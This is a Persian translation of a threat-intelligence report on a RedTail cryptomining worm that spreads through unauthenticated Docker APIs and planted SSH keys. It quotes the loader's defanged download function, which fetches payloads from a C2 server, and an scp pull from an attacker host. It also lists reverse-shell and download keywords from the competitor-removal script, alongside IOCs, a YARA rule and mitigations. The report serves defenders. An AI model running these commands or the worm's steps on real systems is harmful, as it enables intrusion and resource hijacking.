این صفحه یک ترجمه است. نسخهٔ انگلیسی متن معتبر است. خواندن نسخهٔ انگلیسی
malware · cryptomining · redtail · docker · linux · honeypot · worm
درون یک کارزار RedTail: خودتکثیری از طریق Docker APIهای در معرض
هانیپاتهای Kinryū Labs ماینر رمزارز RedTail را در حال انتشار از طریق Docker Engine APIهای بدون احراز هویت و کلیدهای SSH کاشتهشده ثبت کردند. این نوشتار یک نمونه کنونی و کاملاً ضبطشده را مستند میکند، همراه با لودر، اسکریپت حذف رقبا، ماینر و شاخصهای زنده.
نوشتهٔ Davis Zheng·
TLP:CLEAR. آزاد برای انتشار عمومی. ثبتشده توسط شبکه حسگر هانیپات Kinryū Labs. شاخصهای زیر defang شدهاند.
خلاصه مدیریتی
- 2375Docker API در معرض، مسیر ورود
- 4معماری پردازنده هدف
- ~21sکل زمان نفوذ عامل تهدید
- کرموارکلاینت SSH تعبیهشده در ماینر
در اوایل تا اواسط ژوئن 2026 شبکه هانیپات ما کرمی را ثبت کرد که از طریق Docker Engine APIهای در معرض اینترنت روی TCP/2375 منتشر میشود و RedTail را مستقر میکند؛ ماینر مونروی مبتنی بر XMRig که از اواخر 2023 در جریان بوده است. عامل تهدید کانتینرهای در حال اجرا را از طریق Docker API باز فهرست میکند، در هر کدام دستور اجرا میکند، یک کلید خصوصی SSH برای پایداری و حرکت جانبی میکارد و سپس یک لودر چندمعماری را پایین میکشد. لودر ماینری را نصب میکند که کلاینت SSH خود را برای انتشار و یک شنودگر libpcap را برای یافتن اهداف تازه همراه دارد.
پیلود بیتردید RedTail است. RedTail بیش از همه به خاطر ورود از راه اکسپلویت برنامههای وب (PAN-OS، Ivanti، Log4Shell، PHP-CGI، TP-Link) شناخته میشود و استفادهاش از Docker APIهای در معرض نیز گزارشهای پیشین دارد. این نوشتار یک نمونه کنونی و کاملاً ضبطشده از همان تحویل مبتنی بر Docker API را میافزاید: C2 و شاخصهای زنده، کاشت کلید SSH که به میزبان امکان خودتکثیری میدهد، و اسکریپت حذف رقبا که گزارشهای پیشین به آن اشاره کرده بودند بیآنکه بازیابیاش کنند.
ماینر یک پیکربندی زمان اجرای رمزگذاریشده دارد و هیچ کیف پولی در آن جاسازی نشده است، بنابراین نمیتوانیم یک آدرس مونرو از نمونه بیرون بکشیم. بازیابی آن نیازمند اجرای زنده همراه با ضبط ترافیک شبکه است.
- پیلود RedTail است (اطمینان بالا). رشته
libredtail evbuffer_tls، آرتیفکت.redtail، مقدار جایگزینredtailدر لودر، و ساخت با پیکربندی رمزگذاریشده و بدون کیف پول، همگی با نسخههای پس از 2024 این خانواده همخوانی دارند. - این کارزار کرموار است (اطمینان بالا). ابزار کار با Docker API، کلید کاشتهشده و کلاینت SSH داخلی ماینر همان چیزی است که یک میزبان تازهآلوده برای یافتن قربانی بعدی بهتنهایی لازم دارد.
- انگیزه گرداننده مالی است (اطمینان متوسط). سرقت اعتبارنامه و شنود به نظر میرسد در خدمت انتشار باشد، نه یک هدف جداگانه سرقت داده.
- بردار Docker API برای RedTail گزارشهای پیشین دارد و هنوز هم خوب کار میکند. یک سوکت در معرض روی TCP/2375 به عامل تهدید اجرای کد در سطح root درون هر کانتینر آن میزبان را میدهد.
زنجیره حمله
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp dlr@217.60.195[.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
مرحله 1: دسترسی اولیه از راه Docker API
عامل تهدید سراغ نمونههای Docker Engine میرود که REST API بدون احراز هویت را روی TCP/2375 در معرض گذاشتهاند. کل توالی کار عامل تهدید حدود 21 ثانیه طول کشید:
GET /versionوGET /containers/jsonبرای انگشتنگاری موتور و فهرست کردن کانتینرها.POST /containers/{id}/execو سپسPOST /exec/{id}/startعلیه هر کانتینر در حال اجرا.- یک پیلود پوسته درونکانتینری که کلید SSH مهاجم را مینویسد و لودر را میگیرد.
همان گام آخر است که این را از یک ماینر یکباره به یک کرم تبدیل میکند. میزبانی که آلوده میشود و خودش هم Docker API را در معرض گذاشته باشد، همان روال فهرستکردن و exec را علیه دسته بعدی قربانیان اجرا خواهد کرد.
کلید SSH کاشتهشده (پایداری و حرکت جانبی)
| ویژگی | مقدار |
|---|---|
| نوع | کلید خصوصی OpenSSH ed25519 |
| توضیح | dlr@sftp |
| اثر انگشت SHA256 کلید عمومی | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| منبع دریافت (کانال SCP) | dlr@217.60.195[.]113 |
ما کلید خصوصی را منتشر نمیکنیم. برای شکار آن از اثر انگشت بالا استفاده کنید:
authorized_keysو~/.sshرا در سراسر داراییهایتان بررسی کنید.
مرحله 2: لودر /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
نوع: اسکریپت پوسته POSIX
یک لودر کوچک و قابل حمل، و در عین حال دقیق.
نام فایل مخفی تصادفی. تابع get_random_string() یک نام حرفی-عددی 4 تا 35 کاراکتری میسازد و به ترتیب /dev/urandom، سپس openssl و سپس $RANDOM را امتحان میکند، و اگر همه اینها شکست بخورند به رشته ثابت redtail بازمیگردد. آن مقدار جایگزین نشانهای کارآمد برای این خانواده است. ماینر با نام .<random> و یک نقطه ابتدایی مینشیند تا از دید ls ساده پنهان بماند. VirusTotal این نمونه را با یکی از همان نامها، .mn6VTucEsFZY1PdSC2QAq، دارد.
تابع کمکی دانلود. تابع dlr() راستیآزمایی TLS را خاموش میکند، چون گواهی C2 خودامضا است، و از wget به curl بازمیگردد:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
آمادهسازی با آگاهی از noexec. لودر /proc/mounts را میخواند، هر mount دارای noexec را کنار میگذارد و find / -user $(whoami) -perm -u=rwx را اجرا میکند تا جایی بیابد که هم بتواند بنویسد و هم اجرا کند. پیش از استفاده، هر نامزد را با یک dd یا truncate دو مگابایتی آزمایش نوشتن میکند، که زحمتی بیش از آن است که بیشتر لودرها به خود میدهند: روش معمول نوشتن در /tmp و امید بستن است.
پاکسازی رقبا. اسکریپت clean را میگیرد و اجرا میکند (dlr clean; chmod +x clean; sh clean; rm -rf clean) و سپس حذفش میکند. ما آن اسکریپت را هم به دست آوردیم و در ادامه تجزیهاش میکنیم. سراغ پایداری و فضای آمادهسازی رقبا میرود و فرایندهای در حال اجرا را رها میکند.
جمعوجور کردن. پیش از نصب فایل تازه، .redtail و فایل .<random> پیشین را حذف میکند.
انتخاب معماری. یک سوییچ uname -mp ساخت مناسب را برمیگزیند:
| تطابق ARCH | دانلود میکند |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| ناشناخته | هر چهار مورد را امتحان و هر کدام را اجرا میکند |
اجرا. ./.<random> $1، که $1 اصلی لودر را منتقل میکند و RedTail آن را بهعنوان برچسب کارزار یا بردار در نظر میگیرد.
اسکریپت حذف رقبا با نام clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
نوع: اسکریپت Bash (795 بایت)
clean را در یک برخورد بعدی روی هانیپاتها ثبت کردیم. تمام کارش پاک کردن بدافزارهای دیگر از روی سامانه است تا RedTail آن را برای خود داشته باشد:
-
پاکسازی cron. برای هر crontab کاربری (
/var/spool/cron/crontabs/*)، crontab سیستمی (/etc/crontab،/etc/crontabs)، دایرکتوری drop-in (/etc/cron.{hourly,daily,weekly,monthly,d}) و/etc/anacrontab، بیت immutable را باchattr -iaبرمیدارد (بدافزار رقیب آن را برای محافظت از خطوط cron خود تنظیم میکند) و سپس هر خطی را که با یک الگوی بازآلودگی تطابق داشته باشد حذف میکند:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dاین کار گهوارههای دانلود و پوستههای معکوس گروههای دیگر را بیرون میکشد و در عین حال ورودیهای مشروع cron را دستنخورده میگذارد.
-
کشتن یک رقیب مشخص. سرویس systemd با نام
c3pool_minerرا غیرفعال و متوقف میکند، که تیری مستقیم به سمت ماینر c3pool است. -
پاک کردن فضای آمادهسازی.
/tmp،/var/tmpو/dev/shmرا باrm -rfخالی میکند و پیلودهای رقبا و فضای موقتی مشترکشان را میزداید.
رها کردن فرایندهای در حال اجرا یک معامله است. کشتن گسترده، پردازنده را بیدرنگ آزاد میکند اما دقیقاً همان نوع رویدادی است که یک میزبان تحت پایش برایش هشدار میدهد، در حالی که برداشتن خطوط cron و خالی کردن دایرکتوریهای آمادهسازی، گهواره بازآلودگی رقیب را حذف میکند، پس اخراج از ریبوتی که در غیر این صورت آن را خنثی میکرد جان به در میبرد.
مرحله 3: ماینر RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
اندازه: 1,880,264 بایت (1.79 MB)
قالب: ELF 64-bit LSB EXEC (لینکشده بهصورت ایستا، non-PIE)، x86-64، نقطه ورود 0xaa9e18
بستهبند: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 مخرب، امتیاز جامعه −60، نخستین مشاهده حدود 2026-06-05
برچسبهای تهدید: trojan.usblem26/abminer؛ خانوادههای usblem26 / abminer / gen3
بستهبندی و ضدتحلیل
- UPX 5.02 با هدر دستنخورده.
upx -dآن را تمیز به یک ELF لینکشده ایستای حدوداً 5 مگابایتی باز میکند. - اجرای بدون فایل. بینش کد VirusTotal نشان میدهد که از
memfd_create(فراخوان سیستمی0x13f) برای اجرای پیلود مستقیماً از یک توصیفگر فایل حافظهای ناشناس استفاده میکند، همراه با اجرای مجدد از/proc/self/exeو آمادهسازی در/dev/shm. چیزی به دیسک نمیرسد، پس ضدویروس مبتنی بر دیسک هرگز فرصت دیدن پیدا نمیکند. - جعل نام فرایند (
sets-process-name) تا میان فرایندهای عادی گم شود. - گریز از دیباگر (
detect-debug-environment). گزارشهای عمومی RedTail از خوددیباگی باptraceو کشتن فعالانه GDB توسط باینری سخن میگویند. - نکتهای درباره ضدویروس میزبان. Microsoft Defender فایل ELF بستهبندیشده را بهعنوان
Trojan:Linux/Multiverze!rfnعلامت میزند و خواندن آن از روی دیسک را مسدود میکند، پس تریاژ ایستا باید در یک سامانه ایزوله یا در حافظه انجام شود.
اجزای تأییدشده (از رشتههای .rodata بازشده)
هسته استخراج XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail، پشته شبکهای که هویت این خانواده را تعریف میکند
libredtail evbuffer_tls
Connection keepalive User-Agent
یک libevent سفارشی بهعلاوه کلاینت HTTP روی TLS. رشته libredtail evbuffer_tls همان چیزی است که RedTail را از یک ساخت معمولی XMRig جدا میکند.
کلاینت SSH تعبیهشده (حرکت جانبی و سرقت اعتبارنامه)
ssh-userauth ssh-ed25519 sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
ماینر یک کلاینت SSH کامل را با خود دارد. همان موتوری است که پشت کاشت کلید dlr@sftp و انتشار قرار دارد. باینری ماینر سرقت اعتبارنامه و انتشار از راه SSH را خودش انجام میدهد. هیچیک از اینها در دراپر نیست.
libpcap تعبیهشده (شنود شبکه)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
ضبط بسته روی میزبان، که با کشف محلی میزبانها و اعتبارنامهها جور درمیآید.
جدولهای کدگذاری. هر دو الفبای Base64 استاندارد و امن برای URL دیده میشوند (...+/ و ...-_) که روال رمزگشایی پیکربندی از آنها استفاده میکند.
پیکربندی و شکاف انتساب
باینری بازشده را بهدقت برای IPها، URLها، stratum، pool و الگوهای آدرس مونرو جستوجو کردیم. تنها استخرهای موجود در آن، استخرهای درونساخت اهدای توسعهدهنده XMRig هستند (donate.ssl.xmrig.com، donate.v2.xmrig.com) که هر ساخت XMRig آنها را دارد و گرداننده کنترلی بر آنها ندارد. هیچ استخر، پراکسی یا کیف پول مهاجم بهصورت متن ساده وجود ندارد.
این عمدی است و با مسیری که RedTail از 2024 به بعد پیموده همخوان است. پیکربندی استخراج رمزگذاری شده و تنها در زمان اجرا در حافظه رمزگشایی میشود، و ساختهای اخیر اصلاً کیف پولی حمل نمیکنند و بهجای آن به یک استخر خصوصی یا پراکسی استخر اشاره دارند. بنابراین:
- نمیتوانیم یک کیف پول مونرو از این نمونه بیرون بکشیم.
- پراکسی استخر تنها از یک اجرای زنده همراه با سینک شبکه بیرون میآید (بخش روششناسی را ببینید).
انتساب
این RedTail است، که با نام ماینر .redtail هم شناخته میشود؛ ماینر مونروی برگرفته از XMRig که نخستین بار حوالی اواخر 2023 و اوایل 2024 دربارهاش نوشته شد. آنچه همخوانی دارد:
- رشته
libredtail evbuffer_tlsکه منحصر به آن است. - آرتیفکت
.redtailو مقدار جایگزینredtailدر لودر. - ساخت با پیکربندی رمزگذاریشده و بدون کیف پول، لودر چندمعماری، اسکریپت رقیبزدای
cleanو سرقت اعتبارنامه SSH، که همگی خصوصیات شناختهشده RedTail هستند.
برای مقایسه، بردارهای تحویلی که پیشتر برای این خانواده ثبت شدهاند عبارتاند از CVE-2024-3400 (PAN-OS)، CVE-2023-46805 و CVE-2024-21887 (Ivanti)، CVE-2021-44228 (Log4Shell)، CVE-2024-4577 (PHP-CGI) و CVE-2023-1389 (TP-Link). VirusTotal همچنین این نمونه را با CVE-2021-41773 (پیمایش مسیر تا RCE در Apache 2.4.49/2.4.50) و CVE-2015-2808 (RC4، «Bar Mitzvah») برچسب میزند.
استفاده RedTail از Docker APIهای در معرض گزارشهای پیشین دارد، پس خود این بردار قدیمی است. آنچه در آن گزارشهای پیشین نحیف بود، میانه زنجیره است و همینجاست که این ضبط مینشیند: اسکریپت clean که بازیابی شد نه استنتاج، هشهای C2 و پیلود که در زمان جمعآوری زنده بودند، و کلید کاشتهشده dlr@sftp که حلقه را به مرحله 1 بازمیبندد.
چشمانداز
گروههای ربایش رمزارز شیوه نفوذشان را بسیار بیشتر از پیلودشان تغییر میدهند، و لودر ماژولار RedTail تعویض یک روش ورود با روشی دیگر را آسان میکند. یک Docker API باز، تعویضی ارزان است. اکسپلویتی برای نگهداری وجود ندارد و چرخه وصلهای برای سبقت گرفتن در کار نیست، دسترسیای که میدهد root درون هر کانتینر آن سامانه است، و عرضه پورت 2375 در معرض اینترنت ته نکشیده است. RedTail پیشتر هم اینجا بوده است.
به نظر ما محتمل است که گرداننده بردار Docker API را در کنار اکسپلویتهای وب نگه دارد نه آنکه یکی را جای دیگری بگذارد، که صرفاً میزبانهای در دسترس بیشتری به او میدهد. اگر کانتینر اجرا میکنید، یک Docker API در معرض را چنان در نظر بگیرید که گویی روی اینترنت عمومی نشسته است، چون عملاً همینطور است.
شاخصهای نفوذ
شبکه
| شاخص | زمینه |
|---|---|
14.46.136[.]77 | میزبان C2 / پیلود (HTTPS، خودامضا). سرویسدهی /sh، /clean، /x86_64، /i686، /aarch64، /arm7. خروجی ابری را بر پایه ASN فیلتر میکند. |
hxxps://14.46.136[.]77/sh | نشانی لودر مرحله 2 |
hxxps://14.46.136[.]77/clean | اسکریپت حذف رقبا (پاکسازی cron / فضای آمادهسازی) |
217.60.195[.]113 | منبع کلید / پیلود از راه SCP (dlr@217.60.195[.]113) |
فایلها (SHA256 / MD5)
| فایل | SHA256 | MD5 |
|---|---|---|
sh (لودر) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (پاکسازی رقبا) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (ماینر) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
آرتیفکتهای میزبان
| شاخص | زمینه |
|---|---|
.redtail | آرتیفکت ماینر / نشانگر آلودگی پیشین |
.<random alnum> مثلاً .mn6VTucEsFZY1PdSC2QAq | نام فایل مخفی ماینر (نقطه ابتدایی + رشته تصادفی) |
توضیح کلید SSH با مقدار dlr@sftp | کلید کاشتهشده |
اثر انگشت کلید عمومی SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | اثر انگشت کلید کاشتهشده؛ در authorized_keys شکار کنید |
فایلهای آمادهشده در /dev/shm، /var/tmp، /tmp یا هر دایرکتوری rwx قابل نوشتن برای کاربر | مکانهای آمادهسازی |
رفتاری
memfd_create(فراخوان سیستمی0x13f) در حال اجرای یک ELF از یک توصیفگر فایل ناشناس.- فرایندی که
/proc/mountsرا میخواند و سپسfind / -perm -u=rwxرا اجرا میکند (آمادهسازی با آگاهی از noexec). - جعل نام فرایند؛ گریز از دیباگر مبتنی بر
ptrace. - ترافیک خروجی
stratum+tcp:///stratum+ssl://به یک میزبان غیراستاندارد. systemctl disable c3pool_minerوsystemctl stop c3pool_miner(اخراج رقیب).chattr -iaروی مسیرهای crontab و بلافاصله پس از آن حذف انبوه خطوطwget/curl/ پوسته معکوس از cron.rm -rfروی/tmp/*،/var/tmp/*و/dev/shm/*(پاکسازی فضای آمادهسازی رقبا).
شناسایی
شناسایی در میزبان (منطق فرایند / EDR)
روی فرایندی هشدار دهید که به ترتیب:
/proc/mountsرا میخواند و سپسfind / ... -perm -u=rwx ...را اجرا میکند، و- فایلی با نام تصادفی و نقطه ابتدایی در دایرکتوری قابل نوشتن برای همه مینویسد، و
memfd_createرا فراخوانی میکند و سپس از توصیفگر فایل حاصل اجرا میکند.
هر کدام از اینها بهتنهایی ضعیف است. این سه با هم سیگنالی قوی برای این لودر هستند.
قاعده پیشنهادی YARA (باینری بازشده)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
این قاعده با باینری بازشده از UPX تطابق مییابد. برای نمونه بستهبندیشده، روی امضای UPX، اندازه فایل (حدود 1.79 MB) و هشهای VirusTotal بالا پیوت کنید.
شناسایی در شبکه
- ترافیک خروجی به
14.46.136[.]77و217.60.195[.]113را مسدود کنید و برایش هشدار بگذارید. - روی
stratum+tcp/stratum+sslبه هر مقصد خارج از فهرست مجاز هشدار دهید. - روی درخواست GET از راه HTTP(S) به مسیرهای تکحرفی یا نامگذاریشده با معماری (
/sh،/x86_64،/aarch64،/arm7) هشدار دهید.
کاهش مخاطره
- Docker API (2375/2376) را در معرض شبکههای غیرقابلاعتماد قرار ندهید. آن را به localhost یا یک سوکت محافظتشده مقید کنید و احراز هویت با گواهی کلاینت TLS را الزامی کنید. همان یک کنترل، گام دسترسی اولیه را یکسره میشکند.
~/.ssh/authorized_keysرا در سراسر داراییها برای کلیدdlr@sftpو اثر انگشتش ممیزی کنید.- خروجی را فیلتر کنید و ترافیک stratum و IPهای C2 بالا را پایش کنید.
- هرجا میتوانید
/tmp،/var/tmpو/dev/shmرا باnoexecمانت کنید. این کار سطح دشواری را بالا میبرد، هرچند این لودر از noexec آگاه است و دنبال دایرکتوری دیگری خواهد گشت که هم قابل نوشتن باشد و هم قابل اجرا. - کانتینرها را سختسازی کنید: قابلیتهایی را که لازم ندارید حذف کنید، از فایلسیستم ریشه فقطخواندنی استفاده کنید و اصل کمترین امتیاز را اجرا کنید تا یک
execبه داخل، محیط اجرای قابل استفادهای به مهاجم ندهد.
نگاشت MITRE ATT&CK
| تاکتیک | تکنیک |
|---|---|
| دسترسی اولیه | T1190 Exploit Public-Facing Application (Docker API) |
| اجرا | T1609 Container Administration Command؛ T1059.004 Unix Shell |
| پایداری | T1098.004 SSH Authorized Keys |
| گریز از دفاع | T1027.002 Software Packing (UPX)؛ T1620 Reflective / Memory Code Loading (memfd_create)؛ T1564.001 Hidden Files؛ T1036.004 Masquerade Task or Process Name؛ T1622 Debugger Evasion؛ T1070.004 File Deletion |
| دسترسی به اعتبارنامه | T1552.004 Private Keys؛ T1040 Network Sniffing |
| کشف | T1046 Network Service Scanning؛ T1082 System Information Discovery؛ T1057 Process Discovery؛ T1018 Remote System Discovery |
| حرکت جانبی | T1021.004 Remote Services: SSH؛ T1570 Lateral Tool Transfer |
| فرماندهی و کنترل | T1071.001 Web Protocols؛ T1573 Encrypted Channel؛ T1105 Ingress Tool Transfer |
| تأثیر | T1496 Resource Hijacking (استخراج رمزارز) |
روششناسی و یادداشتهای تحلیلگر
- مرحله 2 و مرحله 3 را از C2 زنده روی HTTPS برداشتیم.
14.46.136[.]77برای فضای آدرس ارائهدهندگان بزرگ ابری تایماوت میشود اما به بازههای خانگی سرویس میدهد، که یک فیلتر خروجی بر پایه ASN یا موقعیت جغرافیایی است و سندباکسهای ابری خودکار را از کار میاندازد. - فایل ELF بستهبندیشده Microsoft Defender را فعال میکند (
Trojan:Linux/Multiverze!rfn) و روی یک میزبان ویندوزی محافظتشده حتی از روی دیسک خوانده نمیشود، پس نخستین تریاژ در حافظه انجام شد؛ آرشیو درون یک فرایند Python باز شد بیآنکه ELF خام هرگز روی دیسک نوشته شود. - باز کردن بسته با
upx -dدر یک FLARE-VM ایزوله انجام شد. باینری بازشده را بهصورت ایستا، از راه رشتهها و ساختار، و بدون اجرای آن تحلیل کردیم. - ماینر را اجرا نکردیم، بنابراین پراکسی استخر و پیکربندی مونرو که در زمان اجرا رمزگشایی میشوند در این گزارش نیستند.
- کلید خصوصی مهاجم را از ضبط بازیابی کردیم و منتشرش نمیکنیم. تنها اثر انگشت کلید عمومی (بالا) در شاخصها آمده است، که همان چیزی است که مدافعان برای شکار کلید کاشتهشده
dlr@sftpدرauthorized_keysلازم دارند.
پیگیری پیشنهادی (برای به دست آوردن شاخص پراکسی استخر)
برای رسیدن به پراکسی استخر، باینری بازشده را روی یک سامانه لینوکسی ایزوله (REMnux کار میکند) بهصورت زنده اجرا کنید، با:
- یک سینک شبکه (INetSim، یا
fakednsبهعلاوه یک TCP catch-all) برای بیرون کشیدن اتصال، tcpdump -i any -w redtail.pcapبرای گرفتن CONNECT و ورود stratum، وstrace -fبرای به چنگ آوردن پیکربندی متنسادهای که ماینر درست پیش از نخستینconnect()خود رمزگشایی میکند، که اغلب حتی وقتی TLS آن را روی سیم پنهان میکند خواندنی است.
آن میزبان و پورت، آخرین شاخص باقیمانده برای این کارزار هستند.
نمونهها
نمونهها (لودر، اسکریپت clean و ماینر بستهبندیشده) بنا به درخواست در اختیار سایر پژوهشگران و مدافعان قرار میگیرد. به contact@kinryu.sh ایمیل بزنید و کوتاه بنویسید که چه کسی هستید و برای چه به آنها نیاز دارید.